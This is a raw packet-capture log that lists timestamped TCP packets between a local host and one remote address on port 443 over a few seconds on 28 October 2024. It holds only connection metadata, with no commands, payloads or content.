Oct 28, 2024 08:18:31.552959919 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.553312063 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.553333044 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.553347111 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.553354025 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.561085939 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.561124086 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.561180115 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.561661959 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.561677933 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.600059032 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.600130081 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.600203037 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.602538109 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.602809906 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.602876902 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.625622034 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.625622034 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.625643015 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.625657082 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.641906977 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.641935110 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.641972065 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.641980886 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.666289091 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666326046 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666342020 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.666376114 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.666433096 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666434050 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666670084 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666693926 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.666948080 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.666965008 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.680200100 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.680227041 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.680283070 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.680355072 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.680506945 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.680519104 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.680530071 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.680535078 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.682786942 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.682809114 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.682868958 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.682995081 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.683008909 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.309842110 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.310657978 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.310692072 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.311552048 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.311557055 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.404612064 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.407696009 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.407721996 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.408139944 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.408145905 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.411555052 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.415674925 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.415712118 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.416050911 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.416058064 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.432538033 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.435704947 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.435714960 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.436072111 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.436077118 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.450671911 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.450759888 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.450855970 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.451070070 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.451083899 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.451092958 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.451100111 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.453584909 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.453617096 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.453699112 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.453819990 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.453835011 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.529454947 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.531651974 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.531667948 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.532206059 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.532212019 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.536571026 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.536756992 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.536822081 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.536990881 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.537007093 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.537014961 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.537020922 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.539586067 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.539633989 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.539700985 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.539834976 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.539851904 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.545521021 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.545653105 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.547302961 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.547350883 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.547350883 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.547373056 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.547385931 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.549508095 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.549544096 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.549607992 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.549737930 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.549752951 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.567965984 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.567996025 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.568051100 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.568069935 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.568361044 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.568361044 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.568361044 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.570163965 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.570177078 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.571391106 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.571491957 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.571506023 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.661922932 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.661995888 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.662096024 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.662291050 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.662313938 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.662329912 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.662338018 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.664860010 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.664901018 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.664987087 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.665124893 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.665141106 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:32.871665955 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:32.871731997 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.199951887 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.200486898 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.200522900 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.200968027 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.200978994 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.266997099 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.267735004 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.267750025 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.268141985 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.268147945 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.284604073 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.289572954 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.289608955 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.289951086 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.289959908 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.306766033 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.308686972 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.308705091 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.309791088 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.309797049 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.333400965 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.333465099 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.333523035 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.333554029 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.333619118 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.334184885 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.334211111 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.337059975 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.337107897 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.337219000 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.337357044 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.337367058 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.395723104 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.395797014 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.395836115 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.395850897 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.395904064 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.395948887 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.396215916 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.396231890 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.396241903 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.396246910 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.400490999 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.400528908 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.400604010 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.400753021 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.400768995 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.409329891 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.409859896 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.409934998 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.410419941 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.410434008 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.415018082 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.415540934 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.415612936 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.415683031 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.415698051 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.415712118 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.415718079 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.418369055 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.418414116 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.418504000 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.418909073 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.418939114 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436364889 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436430931 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436481953 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.436496019 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436538935 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436574936 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.436655998 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.436669111 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.436676979 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.436681032 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.439040899 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.439055920 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.439141035 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.439275026 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.439286947 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.541444063 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.541591883 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.541676998 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.541802883 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.541802883 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.541850090 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.541893959 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.544538975 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.544579029 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:33.544645071 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.544785976 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:33.544801950 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.071618080 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.122819901 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.143078089 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.150613070 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.170917988 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.184195995 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.199820042 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.220868111 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.283663988 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.283721924 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.283873081 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.284104109 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.284109116 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.284322977 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.284364939 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.284672976 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.284678936 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.284843922 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.284868002 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.285164118 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.285168886 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.286520004 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.286526918 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.286874056 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.286879063 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.287060976 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.287072897 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.287385941 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.287396908 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.409684896 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.409766912 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.409813881 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.409960985 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.409990072 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410006046 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.410015106 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410365105 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410418034 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410464048 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.410487890 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410537004 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.410577059 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.411163092 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.411178112 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.411247015 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.411254883 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.413729906 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.413820028 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.413903952 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.414160967 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.414195061 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.415035963 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.415090084 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.415141106 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.415262938 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.415282965 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.416872978 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.416949034 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.416989088 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.417093992 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.417119026 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.417135954 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.417146921 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.419131041 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.419157982 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.419215918 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.419336081 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.419361115 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.420159101 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.420218945 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.420284986 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.420331955 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.420341969 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.420346975 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.420382023 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.420387030 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.420401096 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.422147036 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.422178984 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:34.422240973 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.422367096 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:34.422385931 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.153270960 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.154052973 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.154118061 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.154658079 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.154674053 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.159148932 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.159506083 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.159547091 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.159957886 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.159965038 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.169027090 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.169857025 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.169857025 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.169893980 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.169914961 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.237940073 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.238543034 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.238562107 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.239049911 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.239053965 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.289793015 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.289870024 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.289983034 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.290273905 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.290297985 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.290312052 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.290318012 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.293956041 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.294050932 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.294209957 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.294418097 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:35.294451952 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:35.294692993 CET	443	49936	13.107.246.45	192.168.2.4
